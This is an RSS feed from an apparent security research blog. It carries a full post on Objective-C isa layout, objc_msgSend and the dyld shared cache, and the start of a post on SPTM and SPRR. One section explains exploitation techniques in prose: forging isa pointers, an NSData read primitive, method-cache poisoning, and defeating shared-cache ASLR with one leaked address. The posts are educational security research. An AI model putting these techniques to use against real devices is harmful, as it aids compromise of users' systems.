<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Sigreturn Labs Blog</title>
    <link>https://sigreturn.com/blog/</link>
    <description>Notes from the lab — research, writeups, and product updates from Sigreturn Labs.</description>
    <language>en</language>
    <lastBuildDate>Sun, 26 Jul 2026 12:00:00 +0000</lastBuildDate>
    <atom:link href="https://sigreturn.com/blog/feed.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>Apple internals #10: The Objective-C runtime and the shared cache</title>
      <link>https://sigreturn.com/blog/objc-runtime-shared-cache/</link>
      <guid isPermaLink="true">https://sigreturn.com/blog/objc-runtime-shared-cache/</guid>
      <pubDate>Sun, 26 Jul 2026 12:00:00 +0000</pubDate>
      <author>contact@sigreturn.com (Adam Taguirov)</author>
      <category>System Internals</category>
      <category>ios</category>
      <category>macos</category>
      <category>objc</category>
      <category>dyld</category>
      <category>reverse-engineering</category>
      <description><![CDATA[<p>Open an iOS process in a disassembler and two things are missing. Objects have no visible type: each one begins with a single word, and message dispatch goes through that word. And the framework whose code you want to read is not on the disk at all, so there is no file to load.</p>
<p>Neither is obfuscation. The first is a decision about where to keep a retain count, the second is a decision about launch time, and both are documented in source Apple publishes. They change what an attacker has to control.</p>
<div class="admonition note">
<p>Everything here is public: Apple&rsquo;s open-source <code>objc4</code> and <code>dyld</code>, published research, and a Mac running a stock, unmodified macOS. The hands-on compiles a small program of its own and reads files that already ship on the machine. No exploit and no bypass chain appear below.</p>
</div>
<h2 id="an-object-is-an-isa">An object is an isa</h2>
<p>An Objective-C object is a C struct whose first word is called <code>isa</code>, short for &ldquo;is a&rdquo;, because it says which class the object is an instance of. That is the entire base layout, <code>struct objc_object { isa_t isa; }</code>, and every instance variable you declare sits after it.</p>
<p>A class is an object too, and its declaration says so: <code>struct objc_class : objc_object { Class superclass; cache_t cache; class_data_bits_t bits; }</code>. It inherits the <code>isa</code> word, then adds three more. Since a class is an object, its <code>isa</code> has to point at something, and that something is the class&rsquo;s <strong>metaclass</strong>.</p>
<p>That second level exists because of where methods live. Instance methods belong to the class; class methods belong to the metaclass. When you write <code>[Sig new]</code>, the receiver is the class object <code>Sig</code>, and the runtime looks <code>new</code> up the way it looks up any message, in the receiver&rsquo;s own class, which is the metaclass. Without it there would be nowhere to put a class method.</p>
<p>That could recurse forever, and it does not. A metaclass&rsquo;s <code>isa</code> points to the <strong>root metaclass</strong>, which is <code>NSObject</code>&rsquo;s metaclass, and the root metaclass&rsquo;s <code>isa</code> points to itself.</p>
<pre><code>   Sig instance         Sig                Sig (meta)         NSObject (meta)
  ┌────────────┐    ┌────────────┐     ┌────────────┐      ┌────────────┐
  │ isa        │───▶│ isa        │────▶│ isa        │─────▶│ isa        │──┐
  ├────────────┤    ├────────────┤     ├────────────┤      ├────────────┤  │
  │ ivars      │    │ superclass │     │ superclass │      │ superclass │  │
  └────────────┘    │ cache      │     │ cache      │      │ cache      │  │
                    │ bits       │     │ bits       │      │ bits       │  │
                    └────────────┘     └────────────┘      └────────────┘  │
                       -instance          +class                 ▲         │
                        methods            methods               └─────────┘
</code></pre>
<p>The last field, <code>bits</code>, is the pointer to everything else in the class: its method lists, ivar layout, properties and protocols. It comes in two shapes. <code>class_ro_t</code> is the clean version emitted by the compiler, read-only, and for a system class it lives inside the shared cache. <code>class_rw_t</code> is allocated when the class is first realized, and it holds what the runtime adds afterwards: categories, <code>class_addMethod</code>, swizzling. One of those two is writable in your process and the other is not, which decides where corruption can usefully land.</p>
<h2 id="the-isa-is-not-a-pointer">The isa is not a pointer</h2>
<p>On arm64, <code>isa</code> is a bitfield, and the class pointer is only part of it. This is the layout from <code>objc4</code>, <code>runtime/isa.h</code>, for a build with pointer authentication (PAC):</p>
<table>
<thead>
<tr>
<th>bits</th>
<th>field</th>
<th>meaning</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td><code>nonpointer</code></td>
<td>1 = this is a packed isa, 0 = a raw <code>Class</code> pointer</td>
</tr>
<tr>
<td>1</td>
<td><code>has_assoc</code></td>
<td>the object has associated objects</td>
</tr>
<tr>
<td>2</td>
<td><code>weakly_referenced</code></td>
<td>it is, or was, in the weak table</td>
</tr>
<tr>
<td>3-54</td>
<td><code>shiftcls_and_sig</code></td>
<td>the class pointer, plus its PAC signature</td>
</tr>
<tr>
<td>55</td>
<td><code>has_sidetable_rc</code></td>
<td>the retain count overflowed into the side table</td>
</tr>
<tr>
<td>56-63</td>
<td><code>extra_rc</code></td>
<td>the inline retain count</td>
</tr>
</tbody>
</table>
<p>Two masks come with it. <code>ISA_MASK</code> is <code>0x007ffffffffffff8</code> and keeps the whole 52-bit field, signature included. <code>ISA_MASK_NOSIG</code> keeps the address alone: <code>0x00007ffffffffff8</code> on macOS, <code>0x0000000ffffffff8</code> on iOS, where the address space handed to a process is smaller.</p>
<p>The point of packing all this into one word is the retain count. <code>retain</code> and <code>release</code> are the two most frequent operations in an Objective-C process, and the fast path for both is now an atomic add on bits 56 and up of a word the object already had. No lock is taken and nothing else is allocated. The eight bits run out eventually, and that is what bit 55 records: past that, the surplus goes to the global side table and the two have to be added back together.</p>
<p>The layout most write-ups quote is a different one: 33 bits of <code>shiftcls</code> at bit 3, a six-bit <code>magic</code> field holding <code>0x1a</code>, <code>extra_rc</code> on 19 bits, <code>ISA_MASK</code> at <code>0x0000000ffffffff8</code>. That is the same header, in the branch taken when the build has no pointer authentication. The <code>magic</code> field is gone from the ptrauth layout, and so is <code>has_cxx_dtor</code>. Read <code>isa.h</code> for the target in front of you rather than a table from 2019.</p>
<p>And <code>extra_rc</code> is no longer the retain count minus one. <code>objc-object.h</code> reads it straight: <code>uintptr_t rc = bits.extra_rc;</code>, then adds the side table if bit 55 is set. A freshly allocated object shows 1, not 0, and the hands-on below shows it.</p>
<p>One shape that is not an object at all: a <strong>tagged pointer</strong>. Small immutable values such as short <code>NSString</code>s, <code>NSNumber</code>s and <code>NSDate</code>s are encoded directly in the pointer, with no allocation behind them. On arm64 the marker is the high bit, so a &ldquo;pointer&rdquo; with bit 63 set has no memory to dereference and no <code>isa</code> to decode. Since iOS 12 the whole value is also XORed with <code>objc_debug_taggedpointer_obfuscator</code>, a random word drawn at launch, so that a write primitive cannot forge a chosen tagged value blind. A read primitive recovers the obfuscator from an exported symbol and the protection ends there.</p>
<h2 id="objc_msgsend-or-how-a-selector-becomes-a-call">objc_msgSend, or how a selector becomes a call</h2>
<p>Almost every message send goes through <code>objc_msgSend</code>, with a fixed register contract: <code>x0</code> is the receiver, <code>x1</code> is the selector, the remaining arguments follow in <code>x2</code> to <code>x7</code>. A send to <code>super</code> takes <code>objc_msgSendSuper2</code> instead, and a method declared <code>objc_direct</code> is called outright with no dispatch at all, but those are the exceptions. The common path has to find the function for a given selector, on a given receiver&rsquo;s class. Here is the beginning of it, disassembled out of the shared cache on my own machine:</p>
<pre><code>libobjc.A.dylib`objc_msgSend:
    0x18acc1800 &lt;+0&gt;:  cmp    x0, #0x0
    0x18acc1804 &lt;+4&gt;:  b.le   0x18acc1880    ; &lt;+128&gt;
    0x18acc1808 &lt;+8&gt;:  ldr    x14, [x0]
    0x18acc180c &lt;+12&gt;: and    x16, x14, #0x7ffffffffffff8
    0x18acc1810 &lt;+16&gt;: mov    x10, x0
    0x18acc1814 &lt;+20&gt;: movk   x10, #0x6ae1, lsl #48
    0x18acc1818 &lt;+24&gt;: autda  x16, x10
    0x18acc181c &lt;+28&gt;: mov    x15, x16
    0x18acc1820 &lt;+32&gt;: ldr    x10, [x16, #0x10]
    0x18acc1824 &lt;+36&gt;: lsr    x11, x10, #48
    0x18acc1828 &lt;+40&gt;: and    x10, x10, #0xffffffffffff
    0x18acc182c &lt;+44&gt;: eor    x12, x1, x1, lsr #7
    0x18acc1830 &lt;+48&gt;: and    w12, w12, w11
    0x18acc1834 &lt;+52&gt;: add    x13, x10, x12, lsl #4
</code></pre>
<p>The whole structure of the previous two sections is in those fourteen instructions.</p>
<p><code>cmp x0, #0</code> with <code>b.le</code> is the nil-receiver check, and it also catches tagged pointers on the same branch, since bit 63 set makes the receiver negative when read as a signed value. <code>ldr x14, [x0]</code> loads the <code>isa</code> word. <code>and x16, x14, #0x7ffffffffffff8</code> is <code>ISA_MASK</code>, applied to the raw word exactly as the table above says.</p>
<p>Then three instructions: <code>mov x10, x0</code>, <code>movk x10, #0x6ae1, lsl #48</code>, <code>autda x16, x10</code>. The runtime builds a modifier out of the object&rsquo;s own address and the constant <code>0x6AE1</code>, which <code>objc-config.h</code> names <code>ISA_SIGNING_DISCRIMINATOR</code>, and <strong>authenticates</strong> the class pointer with it. The alternative, in the same macro in <code>arm64-asm.h</code>, is a single <code>xpacd</code> that discards the signature without checking it. Which one you get is the compile-time flag <code>ISA_SIGNING_AUTH_MODE</code>, and this build authenticates.</p>
<p><code>ldr x10, [x16, #0x10]</code> reads the word at offset 0x10 of the class, which is <code>cache</code>, the third field of <code>objc_class</code> after <code>isa</code> and <code>superclass</code>. That single word holds two things: <code>lsr x11, x10, #48</code> takes the mask out of the top 16 bits, <code>and x10, x10, #0xffffffffffff</code> takes the bucket array pointer out of the low 48.</p>
<p><code>eor x12, x1, x1, lsr #7</code> hashes the selector against itself shifted right by seven, <code>and w12, w12, w11</code> folds it into the table with the mask, and <code>add x13, x10, x12, lsl #4</code> turns the index into an address, sixteen bytes per bucket. A bucket is a <code>{ IMP, SEL }</code> pair, the function pointer and the selector, in that order on arm64. What follows loads both, compares the stored selector with <code>x1</code>, and on a hit authenticates the <code>IMP</code> and branches to it.</p>
<p>On a miss the slow path runs: <code>lookUpImpOrForward</code> walks the class&rsquo;s method lists, then its superclass&rsquo;s, resolves the method, fills the cache, and only then calls. Every subsequent send of that selector to that class takes the fourteen instructions above.</p>
<h2 id="hands-on-decoding-an-isa-by-hand">Hands-on: decoding an isa by hand</h2>
<p>The whole model is checkable in one program. It allocates one object, reads the word, decodes the fields by hand, and then walks the chain by masking each <code>isa</code> in turn.</p>
<pre><code class="language-objc">#import &lt;Foundation/Foundation.h&gt;
#import &lt;objc/runtime.h&gt;
#include &lt;stdio.h&gt;

#define ISA_MASK       0x007ffffffffffff8UL
#define ISA_MASK_NOSIG 0x00007ffffffffff8UL

@interface Sig : NSObject
@end
@implementation Sig
@end

static Class isa_of(void *p) { return (Class)(*(uintptr_t *)p &amp; ISA_MASK_NOSIG); }

int main(void) {
    Sig *o = [Sig new];
    uintptr_t isa = *(uintptr_t *)o;

    printf(&quot;object             %p\n&quot;, o);
    printf(&quot;isa                0x%016lx\n&quot;, isa);
    printf(&quot;  nonpointer       %lu\n&quot;, isa &amp; 1);
    printf(&quot;  has_assoc        %lu\n&quot;, (isa &gt;&gt; 1) &amp; 1);
    printf(&quot;  weakly_referenced %lu\n&quot;, (isa &gt;&gt; 2) &amp; 1);
    printf(&quot;  has_sidetable_rc %lu\n&quot;, (isa &gt;&gt; 55) &amp; 1);
    printf(&quot;  extra_rc         %lu\n&quot;, (isa &gt;&gt; 56) &amp; 0xff);
    printf(&quot;  &amp; ISA_MASK       0x%016lx\n&quot;, isa &amp; ISA_MASK);
    printf(&quot;  &amp; ISA_MASK_NOSIG 0x%016lx\n&quot;, isa &amp; ISA_MASK_NOSIG);

    Class c = isa_of(o), m = isa_of(c), r = isa_of(m), rr = isa_of(r);
    printf(&quot;class              %p  %-10s meta=%d\n&quot;, c, class_getName(c), class_isMetaClass(c));
    printf(&quot;metaclass          %p  %-10s meta=%d\n&quot;, m, class_getName(m), class_isMetaClass(m));
    printf(&quot;root metaclass     %p  %-10s meta=%d\n&quot;, r, class_getName(r), class_isMetaClass(r));
    printf(&quot;its own isa        %p\n&quot;, rr);

    [o retain];
    printf(&quot;after retain       0x%016lx\n&quot;, *(uintptr_t *)o);
    return 0;
}
</code></pre>
<p>Build it twice, once for each ABI:</p>
<pre><code class="language-bash">clang -fno-objc-arc -framework Foundation -o /tmp/isachain isachain.m
clang -arch arm64e -fno-objc-arc -framework Foundation -o /tmp/isachain_e isachain.m
</code></pre>
<p>The plain <code>arm64</code> build first:</p>
<pre><code>object             0x10145c2e0
isa                0x0100000100d240b9
  nonpointer       1
  has_assoc        0
  weakly_referenced 0
  has_sidetable_rc 0
  extra_rc         1
  &amp; ISA_MASK       0x0000000100d240b8
  &amp; ISA_MASK_NOSIG 0x0000000100d240b8
class              0x100d240b8  Sig        meta=0
metaclass          0x100d24090  Sig        meta=1
root metaclass     0x1f6f1d5f0  NSObject   meta=1
its own isa        0x1f6f1d5f0
after retain       0x0200000100d240b9
</code></pre>
<p>Read the word <code>0x0100000100d240b9</code> against the table. The low nibble <code>9</code> is <code>1001</code>: <code>nonpointer</code> set, <code>has_assoc</code> clear, <code>weakly_referenced</code> clear. The high byte <code>0x01</code> is <code>extra_rc</code>, and it is 1 for an object that has just been allocated and never retained. Everything in between is the class pointer, <code>0x100d240b8</code>.</p>
<p>The chain is the diagram, at run time. <code>Sig</code> is at <code>0x100d240b8</code>, its metaclass is 40 bytes below it and carries the same name with <code>meta=1</code>, and one more step lands on <code>NSObject</code>&rsquo;s metaclass, whose own <code>isa</code> is its own address. That is where the recursion ends.</p>
<p>The last line is the retain, and it moves the field the table says it should: the top byte goes from <code>0x01</code> to <code>0x02</code> while every other bit stays put. One word changed, and nothing was locked or allocated to do it. That is the whole reason the <code>isa</code> stopped being a pointer.</p>
<p>Now the <code>arm64e</code> build of the same source:</p>
<pre><code>object             0x104d92d00
isa                0x014f8001046d40b9
  nonpointer       1
  has_assoc        0
  weakly_referenced 0
  has_sidetable_rc 0
  extra_rc         1
  &amp; ISA_MASK       0x004f8001046d40b8
  &amp; ISA_MASK_NOSIG 0x00000001046d40b8
class              0x1046d40b8  Sig        meta=0
metaclass          0x1046d4090  Sig        meta=1
root metaclass     0x1f6f1d5f0  NSObject   meta=1
its own isa        0x1f6f1d5f0
after retain       0x024f8001046d40b9
</code></pre>
<p>The two masks now disagree, and the difference is <code>0x004f800000000000</code>: the signature bits, sitting in the part of the 52-bit field the address does not use, and what <code>autda</code> checks. Run the same binary again and they come out different, because the object lands somewhere else and its address is part of what was signed. The class pointer is signed in one process and bare in the other, from the same source on the same machine, and the difference comes from the kernel. XNU turns user-space pointer authentication off for a task whose main binary is not <code>arm64e</code>, which <a href="/blog/pointer-authentication-arm64e/">the pointer authentication post</a> measured on this same laptop, so in the plain build nothing signs the <code>isa</code> and the <code>autda</code> in the fast path runs without effect.</p>
<p>One line is identical in both runs. <code>NSObject</code>&rsquo;s metaclass is at <code>0x1f6f1d5f0</code> in two different processes, launched separately, while each program&rsquo;s own class moved.</p>
<h2 id="the-libraries-are-not-on-disk">The libraries are not on disk</h2>
<p>The program above links against <code>Foundation</code>, and the linker recorded where it lives. That file is not there.</p>
<pre><code>$ otool -L /tmp/isachain | head -3
/tmp/isachain:
    /System/Library/Frameworks/Foundation.framework/Versions/C/Foundation (compatibility version 300.0.0, current version 4424.1.255)
    /usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 1356.0.0)

$ ls -l /System/Library/Frameworks/Foundation.framework/Versions/C/Foundation
ls: /System/Library/Frameworks/Foundation.framework/Versions/C/Foundation: No such file or directory
</code></pre>
<p>The path is not stale, and the program runs. It is a name the loader resolves against something else: nearly every system library on the machine was merged, at build time, into a single image, the <strong>dyld shared cache</strong>. Cross-library symbols are pre-bound, the Objective-C selector, class and protocol tables are precomputed, and the result is mapped into every process at launch instead of being opened, parsed and fixed up one dylib at a time. That is why a process linking a dozen frameworks starts in milliseconds, and why <code>Foundation</code> and <code>UIKit</code> cannot be found as files. Reading their code means extracting them from the cache first.</p>
<p>It is not one file either. On macOS 26.4.1:</p>
<pre><code>$ ls -lh /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/ | grep arm64e
-rwxr-xr-x  1 root  admin   560K  6 avr.  10:10 dyld_shared_cache_arm64e
-rwxr-xr-x  1 root  admin   1,6G  6 avr.  10:10 dyld_shared_cache_arm64e.01
-rwxr-xr-x  1 root  admin   223M  6 avr.  10:10 dyld_shared_cache_arm64e.02.dylddata
-rwxr-xr-x  1 root  admin   121M  6 avr.  10:10 dyld_shared_cache_arm64e.03.dyldreadonly
-rwxr-xr-x  1 root  admin   574M  6 avr.  10:10 dyld_shared_cache_arm64e.04.dyldlinkedit
-rwxr-xr-x  1 root  admin   1,7G  6 avr.  10:10 dyld_shared_cache_arm64e.05
-rwxr-xr-x  1 root  admin   226M  6 avr.  10:10 dyld_shared_cache_arm64e.06.dylddata
-rwxr-xr-x  1 root  admin   7,0M  6 avr.  10:10 dyld_shared_cache_arm64e.07.dyldreadonly
-rwxr-xr-x  1 root  admin   588M  6 avr.  10:10 dyld_shared_cache_arm64e.08.dyldlinkedit
-rwxr-xr-x  1 root  admin   158M  6 avr.  10:10 dyld_shared_cache_arm64e.09
-rwxr-xr-x  1 root  admin    21M  6 avr.  10:10 dyld_shared_cache_arm64e.10.dylddata
-rwxr-xr-x  1 root  admin    32K  6 avr.  10:10 dyld_shared_cache_arm64e.11
-rwxr-xr-x  1 root  admin   238M  6 avr.  10:10 dyld_shared_cache_arm64e.12.dyldlinkedit
-rwxr-xr-x  1 root  admin   2,3M  6 avr.  10:10 dyld_shared_cache_arm64e.atlas
-rwxr-xr-x  1 root  admin   1,3M  6 avr.  10:10 dyld_shared_cache_arm64e.map
</code></pre>
<p>About five and a half gigabytes across fifteen files, and the one without a number is 560 KB, because it is the header: the mapping table, the image list, and the array describing every subcache with its UUID and its offset. The files with no suffix after the number hold executable text, <code>.dylddata</code> the writable data, <code>.dyldreadonly</code> the read-only data, <code>.dyldlinkedit</code> the symbol and fixup tables. A parser that opens the first file and stops sees almost none of the cache.</p>
<p>The location matters too. This is not <code>/System/Library/dyld/</code> any more; it is a <strong>cryptex</strong>, a signed disk image mounted over the system volume at boot, which is how Apple ships a new cache without touching the sealed system snapshot.</p>
<p>For reversing, <code>ipsw dyld extract</code> undoes the merge, and it works on a cache pulled out of an IPSW as well as one off a running machine. Apple&rsquo;s own <code>dyld_shared_cache_util</code> is the other name you will see in older write-ups, and it is not installed on a stock macOS 26.4.1, so it is a build-from-source step rather than a command you have. Ghidra and radare2 both have cache-aware loaders, which is usually the better option, because a call from <code>Foundation</code> into <code>CoreFoundation</code> stays resolvable instead of pointing outside the file. Be aware of what you are asking them for: loading the whole cache means one program holding every dylib in it, and Ghidra 12.1.2 on a stock install runs out of Java heap parsing their symbol tables before the listing ever opens. Pulling out the one library you want is the cheaper path.</p>
<p>The property that matters for exploitation is the slide. The cache gets one address-randomization (ASLR) slide, chosen once at boot, and every process maps it at the same place. The two runs above already showed it: same address for <code>NSObject</code>&rsquo;s metaclass in two unrelated processes. Leak a single cache address, from any process on the device, and library ASLR is gone system-wide until the next reboot. Compare that with the main binary&rsquo;s own classes, which moved between the two runs, and with the heap, which moves per process.</p>
<h2 id="what-an-attacker-does-with-an-isa">What an attacker does with an isa</h2>
<p><code>objc_msgSend</code> is an indirect call whose target is read out of the object it is given. Control the memory an object lives in and you control the <code>isa</code>, so you choose the class, so you choose the function that runs. That is the classic fake Objective-C object, and it converts a memory-corruption primitive into a control-flow primitive without a ROP (return-oriented programming) chain. The read primitive comes from the same trick with a different shape: a forged <code>NSData</code>, whose layout is <code>{ isa, length, bytes, deallocator }</code> with the deallocator left NULL, hexdumps whatever memory its <code>bytes</code> field points at when it is sent <code>-description</code>.</p>
<p>The forgery got more expensive, and the price is different for each pointer involved.</p>
<p>The <code>isa</code> itself is signed on <code>arm64e</code>, and this build authenticates it: <code>autda</code> with the DA key (data pointers, key A), the constant <code>0x6AE1</code>, and the object&rsquo;s own address as the diversifier. That address diversity is the expensive part: a signature lifted from a real object is valid only at that object&rsquo;s address, so copying a legitimate <code>isa</code> word into a structure of your own fails authentication.</p>
<p>That is a change, and Zhou and Xie date it: the <code>isa</code> carried a PAC signature on iOS 14, and the check on use arrived in 14.5. Their Black Hat 2021 paper builds its whole read primitive on that gap: &ldquo;all of the isa are known because of no PAC check&rdquo;, then a forged <code>NSData</code> on top. The same macro in <code>arm64-asm.h</code> still compiles to a bare <code>xpacd</code> when <code>ISA_SIGNING_AUTH_MODE</code> says strip, so both behaviours ship from one source tree, and it is a per-build fact. Disassemble <code>objc_msgSend</code> in the cache of the target you are looking at before you assume either.</p>
<p>The method cache is signed too, and more tightly. The <code>IMP</code> stored in a bucket is signed with the IB key (instruction pointers, key B) and a modifier of <code>bucket_base ^ sel ^ cls</code>, per <code>modifierForSEL</code> in <code>objc-runtime-new.h</code>. Cache poisoning, which used to be a clean write-to-PC on arm64, now needs a signature valid for that exact bucket address, that selector and that class.</p>
<p><code>class_ro_t</code> sits in read-only memory inside the shared cache, so the writable targets are <code>class_rw_t</code> and the cache, which is where method-list forgery and swizzling-style tricks land.</p>
<p>The feeder for all of it, from a remote position, is deserialization. <code>NSKeyedUnarchiver</code> and <code>NSSecureCoding</code> turn attacker-supplied bytes into an object graph, choosing classes by name and filling ivars, which is why they keep appearing in iMessage and XPC chains.</p>
<p>And on A19 hardware the first step is the one that got harder. Nothing above changes: the dispatch still reads a word out of the object and branches. Getting a chosen word into that slot is the problem, because the overflow or the use-after-free that puts a forged object next to a live one now trips a tag check and faults, as <a href="/blog/sptm-txm-memory-tagging/">the previous post</a> went through.</p>
<p>The kernel has the same shape. A <code>libkern</code> C++ object carries a vtable pointer at offset 0, and <code>OSMetaClass</code> gives it the run-time type identity that C++ without RTTI does not, with <code>OSDynamicCast</code> walking the chain of parent metaclasses. Reversing an IOKit user client means walking exactly that: the metaclass, its vtable, its <code>alloc</code>, the class it produces. The <a href="/blog/iokit-attack-surface/">IOKit post</a> uses it without taking it apart.</p>
<h2 id="where-this-leaves-us">Where this leaves us</h2>
<p>An object begins with a word whose top byte is a retain count and whose middle is a signed class pointer. A system library is a region of one merged image that every process maps at the same address until the device reboots. Each is one design decision, and both are measurable in a few minutes on a machine you already own. The first decides how much a corruption primitive is worth, because the pointer it lets you overwrite is the one that picks the next function to run. The second decides how much a single leaked address is worth, because there is only one slide to defeat and it is shared.</p>
<p>I measured one machine and one build. The <code>isa</code> authentication mode, the mask widths and the cache layout are compile-time and platform-time choices, so the disassembly in front of you outranks anything written here, including the table. This post also closes <a href="/blog/apple-security-stack/">the season</a>: ten posts, from the SecureROM checking the signature of the next stage to <code>objc_msgSend</code> picking a function out of an object it was handed.</p>
<h2 id="notes-and-sources">Notes and sources</h2>
<p>Everything here is drawn from open source, vendor documentation, published research, and a Mac running a stock, unmodified macOS.</p>
<ul>
<li>Apple, <a href="https://github.com/apple-oss-distributions/objc4">objc4 source</a>: <code>runtime/isa.h</code> for the two arm64 bitfield layouts and the <code>ISA_MASK</code> / <code>ISA_MASK_NOSIG</code> constants, <code>runtime/objc-config.h</code> for <code>ISA_SIGNING_DISCRIMINATOR</code> (<code>0x6AE1</code>) and the <code>ISA_SIGNING_STRIP</code> / <code>ISA_SIGNING_AUTH</code> modes, <code>runtime/arm64-asm.h</code> for the <code>ExtractISA</code> macro that compiles to one or the other, <code>runtime/objc-object.h</code> for <code>rootRetainCount</code> reading <code>extra_rc</code> directly, and <code>runtime/objc-runtime-new.h</code> for <code>modifierForSEL</code> and the bucket signing.</li>
<li>Greg Parker, <a href="http://www.sealiesoftware.com/blog/archive/2013/09/24/objc_explain_Non-pointer_isa.html">[objc explain]: Non-pointer isa</a>, Hamster Emporium, for why the retain count was moved into the pointer word in the first place.</li>
<li>Mike Ash, <a href="https://www.mikeash.com/pyblog/friday-qa-2017-06-30-dissecting-objc_msgsend-on-arm64.html">Dissecting objc_msgSend on ARM64</a>, 30 June 2017, for the same fast path one runtime generation earlier: no PAC on the <code>isa</code>, a <code>_mask</code> field of its own rather than the top bits of the cache word, and a bucket laid out <code>{ SEL, IMP }</code>.</li>
<li>Mike Ash, <a href="https://www.mikeash.com/pyblog/friday-qa-2015-07-31-tagged-pointer-strings.html">Tagged Pointer Strings</a>, for how a short string is packed into the pointer itself.</li>
<li>nemo, <a href="https://phrack.org/issues/69/9">Modern Objective-C Exploitation Techniques</a>, Phrack 69:9 (2016), the reference catalogue of fake <code>isa</code>, method-cache poisoning, tagged-pointer abuse and Blocks.</li>
<li>Zhi Zhou and Jundong Xie, <a href="https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Hack-Different-Pwning-IOS-14-With-Generation-Z-Bug-wp.pdf">Hack Different: Pwning iOS 14 with Generation Z Bugz</a>, Black Hat USA 2021 whitepaper: section 4.3 for the sentence quoted above, which the paper itself bounds with &ldquo;iOS 14 has already introduced PAC to isa pointer, but there was no check when using it before 14.5&rdquo;, and section 4.3.1 for the forged <code>NSData</code> read primitive.</li>
<li>Apple, <a href="https://github.com/apple-oss-distributions/dyld">dyld source</a>: <code>doc/CacheLayout.md</code> for the split into subcaches, the mapping-per-permission layout and the separate symbols file, and <code>doc/dyld4.md</code> for the loader model that replaced dyld3 launch closures.</li>
<li>blacktop, <a href="https://blacktop.github.io/ipsw/docs/cli/ipsw/dyld/extract/">ipsw <code>dyld extract</code> documentation</a>, for pulling a single dylib back out of a merged cache; <code>ipsw extract --dyld</code> on the same site is what gets the cache out of an IPSW in the first place.</li>
</ul>]]></description>
    </item>
    <item>
      <title>Apple internals #9: SPTM, TXM and memory tagging</title>
      <link>https://sigreturn.com/blog/sptm-txm-memory-tagging/</link>
      <guid isPermaLink="true">https://sigreturn.com/blog/sptm-txm-memory-tagging/</guid>
      <pubDate>Sat, 25 Jul 2026 12:00:00 +0000</pubDate>
      <author>contact@sigreturn.com (Adam Taguirov)</author>
      <category>System Internals</category>
      <category>ios</category>
      <category>macos</category>
      <category>xnu</category>
      <category>sptm</category>
      <category>txm</category>
      <category>mie</category>
      <category>mitigations</category>
      <description><![CDATA[<p><a href="/blog/pointer-authentication-arm64e/">The previous post</a> ended on a branch the attacker no longer controls. Suppose you get it anyway. You have arbitrary read and write at EL1, the exception level the kernel runs at, and a way to call kernel code with arguments you choose. On an iPhone 7 that was enough: patch the credentials, mark a page executable, load your own binary, done.</p>
<p>Two of those three steps are no longer performed by the kernel. Page-table writes and code-signature decisions were moved out of EL1 into separate signed binaries that run at a privilege XNU cannot enter except through one instruction, with a selector in a register. The kernel became a client of the thing that used to be part of it.</p>
<p>That switch is recent enough that both designs are still shipping, on different silicon, from the same source tree. It is also old enough that the laptop I am writing this on runs the new one, which is where the hands-on comes from.</p>
<div class="admonition note">
<p>Everything here is public: Apple&rsquo;s own platform documentation, open-source XNU, and published research. The hands-on reads files that already ship on a stock Mac, with nothing downloaded, nothing patched and nothing disabled. No exploit and no bypass chain appear below.</p>
</div>
<h2 id="changing-permissions-without-touching-the-page-tables">Changing permissions without touching the page tables</h2>
<p>Making a page read-only is not one write. It is a page-table entry update, a TLB (translation lookaside buffer) invalidation, barriers, and on a multi-core system a coordination with every other core that might hold the stale translation. For anything that flips permissions often, a JIT compiler above all, that cost is the whole problem.</p>
<p>Apple&rsquo;s answer arrived with the A11 and S3, and Apple names it in its own platform documentation: Fast Permission Restrictions, a CPU register that restricts permissions per thread without a page-table walk or a flush. The registers behind it are the ones the research community had already reverse-engineered under the name APRR.</p>
<p>The M1 generation shipped a cleaner version of the same idea, SPRR, for Shadow Permission Remap Register, and Sven Peter documented how it works. Four bits of a page-table entry, <code>AP[1]</code>, <code>AP[0]</code>, <code>UXN</code> and <code>PXN</code>, stop encoding permissions directly. They are concatenated into a four-bit index, and the actual permissions live in a system register, sixteen entries of four bits each, one register per privilege level. The page-table entry names the row to read.</p>
<p>Two consequences fall out. Changing what an entire class of pages means costs one register write instead of a walk over every entry. And the same page-table entry means different things to different privilege levels, which is what makes PPL and SPTM possible. Sven Peter&rsquo;s table from the M1 carries both halves. The first two permission columns are what those four bits would mean to a stock ARMv8 MMU; the last three are what SPRR actually grants. His kernel column reads EL2 rather than EL1 because the M1 runs XNU with Virtualization Host Extensions, which lets a kernel sit at EL2 and still behave as though it were at EL1.</p>
<table>
<thead>
<tr>
<th>SPRR index</th>
<th>plain EL0</th>
<th>plain EL2</th>
<th>SPRR EL0</th>
<th>SPRR EL2</th>
<th>SPRR GL2</th>
<th>used for</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td><code>--x</code></td>
<td><code>rw-</code></td>
<td><code>---</code></td>
<td><code>r--</code></td>
<td><code>rw-</code></td>
<td>page tables</td>
</tr>
<tr>
<td>3</td>
<td><code>---</code></td>
<td><code>rw-</code></td>
<td><code>---</code></td>
<td><code>rw-</code></td>
<td><code>rw-</code></td>
<td>kernel data</td>
</tr>
<tr>
<td>5</td>
<td><code>rw-</code></td>
<td><code>rwx</code></td>
<td><code>rw-</code> or <code>r-x</code></td>
<td><code>r--</code></td>
<td><code>---</code></td>
<td>userland <code>MAP_JIT</code></td>
</tr>
<tr>
<td>8</td>
<td><code>--x</code></td>
<td><code>r-x</code></td>
<td><code>---</code></td>
<td><code>r--</code></td>
<td><code>r-x</code></td>
<td>PPL code</td>
</tr>
<tr>
<td>10</td>
<td><code>---</code></td>
<td><code>r-x</code></td>
<td><code>---</code></td>
<td><code>r-x</code></td>
<td><code>r-x</code></td>
<td>kernel code</td>
</tr>
</tbody>
</table>
<p>Read row 5 across. Those four bits, on a stock MMU, hand the kernel <code>rwx</code> on a <code>MAP_JIT</code> page: writable and executable at the same time. Under SPRR the same entry gives userland <code>rw-</code> or <code>r-x</code> depending on which way the per-thread toggle is flipped, gives the kernel read and nothing else, and gives GL2 no access at all. The bits sitting in the page table are identical in both halves of that row. Only the register changed.</p>
